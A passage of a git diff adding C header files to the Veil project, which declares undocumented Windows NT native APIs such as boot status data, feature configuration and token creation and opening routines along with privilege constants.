AppContainerSid, + _Out_ PAPPCONTAINER_SID_TYPE AppContainerSidType +); + +// +// Fls +// + +#ifndef _KERNEL_MODE + +NTSYSAPI +NTSTATUS +NTAPI +RtlFlsAlloc( + _In_ PFLS_CALLBACK_FUNCTION Callback, + _Out_ PULONG FlsIndex +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFlsFree( + _In_ ULONG FlsIndex +); + +#endif // !_KERNEL_MODE + +// +// File System +// + +#ifndef _KERNEL_MODE + +typedef enum _STATE_LOCATION_TYPE +{ + LocationTypeRegistry = 0, + LocationTypeFileSystem = 1, + LocationTypeMaximum = 2 +} STATE_LOCATION_TYPE; + +_IRQL_requires_max_(PASSIVE_LEVEL) +_Must_inspect_result_ +NTSYSAPI +NTSTATUS +NTAPI +RtlGetPersistedStateLocation( + _In_ PCWSTR SourceID, + _In_opt_ PCWSTR CustomValue, + _In_opt_ PCWSTR DefaultPath, + _In_ STATE_LOCATION_TYPE StateLocationType, + _Out_writes_bytes_to_opt_(BufferLengthIn, *BufferLengthOut) + PWCHAR TargetPath, + _In_ ULONG BufferLengthIn, + _Out_opt_ PULONG BufferLengthOut +); + +#endif // !_KERNEL_MODE + +// +// Placeholder file routines. +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsCloudFilesPlaceholder( + _In_ ULONG FileAttributes, + _In_ ULONG ReparseTag +); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsPartialPlaceholder( + _In_ ULONG FileAttributes, + _In_ ULONG ReparseTag +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsPartialPlaceholderFileHandle( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN IsPartialPlaceholder +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIsPartialPlaceholderFileInfo( + _In_ CONST VOID* InfoBuffer, + _In_ FILE_INFORMATION_CLASS InfoClass, + _Out_ PBOOLEAN IsPartialPlaceholder +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS2) +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNonEmptyDirectoryReparsePointAllowed( + _In_ ULONG ReparseTag +); +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS2 + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlAppxIsFileOwnedByTrustedInstaller( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN IsFileOwnedByTrustedInstaller +); +#endif // !_KERNEL_MODE + +// rev +typedef struct _PS_PKG_CLAIM +{ + ULONGLONG Flags; + ULONGLONG Origin; +} PS_PKG_CLAIM, * PPS_PKG_CLAIM; + +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryPackageClaims( + _In_ HANDLE TokenHandle, + _Out_writes_bytes_to_opt_(*PackageSize, *PackageSize) PWSTR PackageFullName, + _Inout_opt_ PSIZE_T PackageSize, + _Out_writes_bytes_to_opt_(*AppIdSize, *AppIdSize) PWSTR AppId, + _Inout_opt_ PSIZE_T AppIdSize, + _Out_opt_ PGUID DynamicId, + _Out_opt_ PPS_PKG_CLAIM PkgClaim, + _Out_opt_ PULONG64 AttributesPresent +); + +// +// Process & Thread Placeholder +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + +#ifndef _KERNEL_MODE +#undef PHCM_MAX +#define PHCM_APPLICATION_DEFAULT ((CHAR)0) +#define PHCM_DISGUISE_PLACEHOLDERS ((CHAR)1) +#define PHCM_EXPOSE_PLACEHOLDERS ((CHAR)2) +#define PHCM_MAX ((CHAR)2) + +#define PHCM_ERROR_INVALID_PARAMETER ((CHAR)-1) +#define PHCM_ERROR_NO_TEB ((CHAR)-2) +#endif // !_KERNEL_MODE + +NTSYSAPI +CHAR +NTAPI +RtlQueryThreadPlaceholderCompatibilityMode( + VOID +); + +NTSYSAPI +CHAR +NTAPI +RtlSetThreadPlaceholderCompatibilityMode( + _In_ CHAR Mode +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS4) + +#ifndef _KERNEL_MODE +#undef PHCM_MAX +#define PHCM_DISGUISE_FULL_PLACEHOLDERS ((CHAR)3) +#define PHCM_MAX ((CHAR)3) +#define PHCM_ERROR_NO_PEB ((CHAR)-3) +#endif // !_KERNEL_MODE + +NTSYSAPI +CHAR +NTAPI +RtlQueryProcessPlaceholderCompatibilityMode( + VOID +); + +NTSYSAPI +CHAR +NTAPI +RtlSetProcessPlaceholderCompatibilityMode( + _In_ CHAR Mode +); + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS4 + +// +// Protected policies +// + +#ifndef _KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryProtectedPolicy( + _In_ PGUID PolicyGuid, + _Out_ PULONG_PTR PolicyValue +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetProtectedPolicy( + _In_ PGUID PolicyGuid, + _In_ ULONG_PTR PolicyValue, + _Out_ PULONG_PTR OldPolicyValue +); + +#endif // !_KERNEL_MODE + +// +// Boot Status Data +// + +// private +typedef enum _RTL_BSD_ITEM_TYPE +{ + RtlBsdItemVersionNumber, // q; s: ULONG + RtlBsdItemProductType, // q; s: NT_PRODUCT_TYPE (ULONG) + RtlBsdItemAabEnabled, // q: s: BOOLEAN + RtlBsdItemAabTimeout, // q: s: UCHAR + RtlBsdItemBootGood, // q: s: BOOLEAN + RtlBsdItemBootShutdown, // q: s: BOOLEAN + RtlBsdSleepInProgress, // q: s: BOOLEAN + RtlBsdPowerTransition, + RtlBsdItemBootAttemptCount, // q: s: UCHAR + RtlBsdItemBootCheckpoint, // q: s: UCHAR + RtlBsdItemBootId, // q; s: ULONG (USER_SHARED_DATA->BootId) + RtlBsdItemShutdownBootId, // q; s: ULONG + RtlBsdItemReportedAbnormalShutdownBootId, // q; s: ULONG + RtlBsdItemErrorInfo, + RtlBsdItemPowerButtonPressInfo, + RtlBsdItemChecksum, // q: s: UCHAR + RtlBsdPowerTransitionExtension, + RtlBsdItemFeatureConfigurationState, // q; s: ULONG + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE; + +// private +typedef struct _RTL_BSD_ITEM +{ + RTL_BSD_ITEM_TYPE Type; + PVOID DataBuffer; + ULONG DataLength; +} RTL_BSD_ITEM, * PRTL_BSD_ITEM; + +#ifndef _KERNEL_MODE +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateBootStatusDataFile( + VOID +); +#endif // !_KERNEL_MODE + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlLockBootStatusData( + _Out_ PHANDLE FileHandle +); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlUnlockBootStatusData( + _In_ HANDLE FileHandle +); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSetBootStatusData( + _In_ HANDLE FileHandle, + _In_ BOOLEAN Read, + _In_ RTL_BSD_ITEM_TYPE DataClass, + _In_ PVOID Buffer, + _In_ ULONG BufferSize, + _Out_opt_ PULONG ReturnLength +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckBootStatusIntegrity( + _In_ HANDLE FileHandle, + _Out_ PBOOLEAN Verified +); +#endif // !_KERNEL_MODE + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlGetSystemBootStatus( + _In_ RTL_BSD_ITEM_TYPE BootStatusInformationClass, + _Out_ PVOID DataBuffer, + _In_ ULONG DataLength, + _Out_opt_ PULONG ReturnLength +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetSystemBootStatus( + _In_ RTL_BSD_ITEM_TYPE BootStatusInformationClass, + _In_ PVOID DataBuffer, + _In_ ULONG DataLength, + _Out_opt_ PULONG ReturnLength +); +#endif + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlCheckPortableOperatingSystem( + _Out_ PBOOLEAN IsPortable // VOID +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetPortableOperatingSystem( + _In_ BOOLEAN IsPortable +); + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlFindClosestEncodableLength( + _In_ ULONGLONG SourceLength, + _Out_ PULONGLONG TargetLength +); +#endif + +// +// Memory cache +// + +#ifndef _KERNEL_MODE + +typedef NTSTATUS(NTAPI* PRTL_SECURE_MEMORY_CACHE_CALLBACK)( + _In_ PVOID Address, + _In_ SIZE_T Length + ); + +// ros +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterSecureMemoryCacheCallback( + _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback +); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDeregisterSecureMemoryCacheCallback( + _In_ PRTL_SECURE_MEMORY_CACHE_CALLBACK Callback +); + +// ros +NTSYSAPI +BOOLEAN +NTAPI +RtlFlushSecureMemoryCache( + _In_ PVOID MemoryCache, + _In_opt_ SIZE_T MemoryLength +); + +#endif // !_KERNEL_MODE + +// +// Feature configuration +// + +#if (NTDDI_VERSION >= NTDDI_WIN10_RS3) + +typedef struct _RTL_FEATURE_USAGE_REPORT +{ + ULONG FeatureId; + USHORT ReportingKind; + USHORT ReportingOptions; +} RTL_FEATURE_USAGE_REPORT, * PRTL_FEATURE_USAGE_REPORT; + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlNotifyFeatureUsage( + _In_ PRTL_FEATURE_USAGE_REPORT FeatureUsageReport +); + +typedef enum _RTL_FEATURE_CONFIGURATION_TYPE +{ + RtlFeatureConfigurationBoot, + RtlFeatureConfigurationRuntime, + RtlFeatureConfigurationCount +} RTL_FEATURE_CONFIGURATION_TYPE; + +// rev +typedef struct _RTL_FEATURE_CONFIGURATION +{ + ULONG FeatureId; + union + { + ULONG Flags; + struct + { + ULONG Priority : 4; + ULONG EnabledState : 2; + ULONG IsWexpConfiguration : 1; + ULONG HasSubscriptions : 1; + ULONG Variant : 6; + ULONG VariantPayloadKind : 2; + ULONG Reserved : 16; + }; + }; + ULONG VariantPayload; +} RTL_FEATURE_CONFIGURATION, * PRTL_FEATURE_CONFIGURATION; + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryFeatureConfiguration( + _In_ ULONG FeatureId, + _In_ RTL_FEATURE_CONFIGURATION_TYPE FeatureType, + _Inout_ PULONGLONG ChangeStamp, + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSetFeatureConfigurations( + _Inout_ PULONGLONG ChangeStamp, + _In_ RTL_FEATURE_CONFIGURATION_TYPE FeatureType, + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _In_ ULONG FeatureConfigurationCount +); +#endif // !_KERNEL_MODE + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryAllFeatureConfigurations( + _In_ RTL_FEATURE_CONFIGURATION_TYPE FeatureType, + _Inout_ PULONGLONG ChangeStamp, + _Out_ PRTL_FEATURE_CONFIGURATION FeatureConfigurations, + _Inout_ PULONG FeatureConfigurationCount +); + +// rev +NTSYSAPI +ULONGLONG +NTAPI +RtlQueryFeatureConfigurationChangeStamp( + VOID +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlQueryFeatureUsageNotificationSubscriptions( + _Out_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _Inout_ PULONG FeatureConfigurationCount +); +#endif // !_KERNEL_MODE + +typedef VOID(NTAPI* PRTL_FEATURE_CONFIGURATION_CHANGE_NOTIFICAION)( + _In_opt_ PVOID Context + ); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlRegisterFeatureConfigurationChangeNotification( + _In_ PRTL_FEATURE_CONFIGURATION_CHANGE_NOTIFICAION Callback, + _In_opt_ PVOID Context, + _Inout_opt_ PULONGLONG ChangeStamp, + _Out_ PHANDLE NotificationHandle +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlUnregisterFeatureConfigurationChangeNotification( + _In_ HANDLE NotificationHandle +); + +#ifndef _KERNEL_MODE +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlSubscribeForFeatureUsageNotification( + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _In_ ULONG FeatureConfigurationCount +); + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlUnsubscribeFromFeatureUsageNotifications( + _In_ PRTL_FEATURE_CONFIGURATION FeatureConfiguration, + _In_ ULONG FeatureConfigurationCount +); +#endif // !_KERNEL_MODE + +#endif // NTDDI_VERSION >= NTDDI_WIN10_RS3 + +// +// Only Kernel RTL +// + +#ifdef _KERNEL_MODE + +// FsRtl + +FORCEINLINE +VOID +NTAPI +FsRtlSetTopLevelIrpForModWriter() +{ + IoSetTopLevelIrp((PIRP)FSRTL_MOD_WRITE_TOP_LEVEL_IRP); +} + +_Must_inspect_result_ +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +FsRtlGetFileNameInformation( // -> FltMgr!FsRtlGetFileNameInformation + _In_ PFILE_OBJECT FileObject, + _In_ ULONG NameOptions, // FLT_FILE_NAME_OPTIONS + _Out_ PUNICODE_STRING FileName, + _Outptr_ PVOID* FileNameInformation // PFLT_FILE_NAME_INFORMATION +); + +_IRQL_requires_max_(APC_LEVEL) +FORCEINLINE +NTSTATUS +NTAPI +FsRtlParseFileNameInformation( + _Inout_ PFLT_FILE_NAME_INFORMATION FileNameInformation +) +{ + return FltParseFileNameInformation(FileNameInformation); +} + +_IRQL_requires_max_(APC_LEVEL) +NTSYSAPI +VOID +NTAPI +FsRtlReleaseFileNameInformation( + _In_ PVOID FileNameInformation +); + +#endif // _KERNEL_MODE + +VEIL_END() + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#endif diff --git a/include/Veil/Veil/Veil.System.Security.h b/include/Veil/Veil/Veil.System.Security.h new file mode 100644 index 0000000..5e70122 --- /dev/null +++ b/include/Veil/Veil/Veil.System.Security.h @@ -0,0 +1,1348 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +// Warnings which disabled for compiling +#if _MSC_VER >= 1200 +#pragma warning(push) +// nonstandard extension used : nameless struct/union +#pragma warning(disable:4201) +// 'struct_name' : structure was padded due to __declspec(align()) +#pragma warning(disable:4324) +// 'enumeration': a forward declaration of an unscoped enumeration must have an +// underlying type (int assumed) +#pragma warning(disable:4471) +#endif + +VEIL_BEGIN() + +// +// Privileges +// + +#ifndef _KERNEL_MODE + +// +// These must be converted to LUIDs before use. +// + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) + + +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE (36L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE (SE_DELEGATE_SESSION_USER_IMPERSONATE_PRIVILEGE) + +#endif // !_KERNEL_MODE + +// +// Authz +// + +// begin_rev + +// Types + +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INVALID 0x00 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_INT64 0x01 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_UINT64 0x02 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_STRING 0x03 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_FQBN 0x04 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_SID 0x05 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_BOOLEAN 0x06 +#define TOKEN_SECURITY_ATTRIBUTE_TYPE_OCTET_STRING 0x10 + +// Flags + +#define TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE 0x0001 +#define TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE 0x0002 +#define TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY 0x0004 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT 0x0008 +#define TOKEN_SECURITY_ATTRIBUTE_DISABLED 0x0010 +#define TOKEN_SECURITY_ATTRIBUTE_MANDATORY 0x0020 +#define TOKEN_SECURITY_ATTRIBUTE_COMPARE_IGNORE 0x0040 + +#define TOKEN_SECURITY_ATTRIBUTE_VALID_FLAGS ( \ + TOKEN_SECURITY_ATTRIBUTE_NON_INHERITABLE | \ + TOKEN_SECURITY_ATTRIBUTE_VALUE_CASE_SENSITIVE | \ + TOKEN_SECURITY_ATTRIBUTE_USE_FOR_DENY_ONLY | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED_BY_DEFAULT | \ + TOKEN_SECURITY_ATTRIBUTE_DISABLED | \ + TOKEN_SECURITY_ATTRIBUTE_MANDATORY) + +#define TOKEN_SECURITY_ATTRIBUTE_CUSTOM_FLAGS 0xffff0000 + +// end_rev + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE +{ + ULONG64 Version; + UNICODE_STRING Name; +} TOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE, * PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE +{ + PVOID pValue; + ULONG ValueLength; +} TOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE, * PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTE_V1 +{ + UNICODE_STRING Name; + USHORT ValueType; + USHORT Reserved; + ULONG Flags; + ULONG ValueCount; + union + { + PLONG64 pInt64; + PULONG64 pUint64; + PUNICODE_STRING pString; + PTOKEN_SECURITY_ATTRIBUTE_FQBN_VALUE pFqbn; + PTOKEN_SECURITY_ATTRIBUTE_OCTET_STRING_VALUE pOctetString; + } Values; +} TOKEN_SECURITY_ATTRIBUTE_V1, * PTOKEN_SECURITY_ATTRIBUTE_V1; + +// rev +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 1 +// rev +#define TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION TOKEN_SECURITY_ATTRIBUTES_INFORMATION_VERSION_V1 + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTES_INFORMATION +{ + USHORT Version; + USHORT Reserved; + ULONG AttributeCount; + union + { + PTOKEN_SECURITY_ATTRIBUTE_V1 pAttributeV1; + } Attribute; +} TOKEN_SECURITY_ATTRIBUTES_INFORMATION, * PTOKEN_SECURITY_ATTRIBUTES_INFORMATION; + +// private +typedef enum _TOKEN_SECURITY_ATTRIBUTE_OPERATION +{ + TOKEN_SECURITY_ATTRIBUTE_OPERATION_NONE, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_REPLACE_ALL, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_ADD, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_DELETE, + TOKEN_SECURITY_ATTRIBUTE_OPERATION_REPLACE +} TOKEN_SECURITY_ATTRIBUTE_OPERATION, * PTOKEN_SECURITY_ATTRIBUTE_OPERATION; + +// private +typedef struct _TOKEN_SECURITY_ATTRIBUTES_AND_OPERATION_INFORMATION +{ + PTOKEN_SECURITY_ATTRIBUTES_INFORMATION Attributes; + PTOKEN_SECURITY_ATTRIBUTE_OPERATION Operations; +} TOKEN_SECURITY_ATTRIBUTES_AND_OPERATION_INFORMATION, * PTOKEN_SECURITY_ATTRIBUTES_AND_OPERATION_INFORMATION; + +// rev +typedef struct _TOKEN_PROCESS_TRUST_LEVEL +{ + PSID TrustLevelSid; +} TOKEN_PROCESS_TRUST_LEVEL, * PTOKEN_PROCESS_TRUST_LEVEL; + +// +// Tokens +// + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateToken( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); + +#if (NTDDI_VERSION >= NTDDI_WIN8) +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateLowBoxToken( + _Out_ PHANDLE TokenHandle, + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PSID PackageSid, + _In_ ULONG CapabilityCount, + _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities, + _In_ ULONG HandleCount, + _In_reads_opt_(HandleCount) HANDLE* Handles +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateLowBoxToken( + _Out_ PHANDLE TokenHandle, + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PSID PackageSid, + _In_ ULONG CapabilityCount, + _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities, + _In_ ULONG HandleCount, + _In_reads_opt_(HandleCount) HANDLE* Handles +); + +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTokenEx( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes, + _In_opt_ PTOKEN_GROUPS DeviceGroups, + _In_opt_ PTOKEN_MANDATORY_POLICY MandatoryPolicy, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateTokenEx( + _Out_ PHANDLE TokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ TOKEN_TYPE Type, + _In_ PLUID AuthenticationId, + _In_ PLARGE_INTEGER ExpirationTime, + _In_ PTOKEN_USER User, + _In_ PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION UserAttributes, + _In_opt_ PTOKEN_SECURITY_ATTRIBUTES_INFORMATION DeviceAttributes, + _In_opt_ PTOKEN_GROUPS DeviceGroups, + _In_opt_ PTOKEN_MANDATORY_POLICY MandatoryPolicy, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE Source +); +#endif + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenProcessToken( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenProcessTokenEx( + _In_ HANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenThreadToken( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_IRQL_requires_max_(PASSIVE_LEVEL) +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenThreadTokenEx( + _In_ HANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ BOOLEAN OpenAsSelf, + _In_ ULONG HandleAttributes, + _Out_ PHANDLE TokenHandle +); + +_Must_inspect_result_ +__kernel_entry NTSYSCALLAPI +NTSTATUS +NTAPI +NtDuplicateToken( + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ 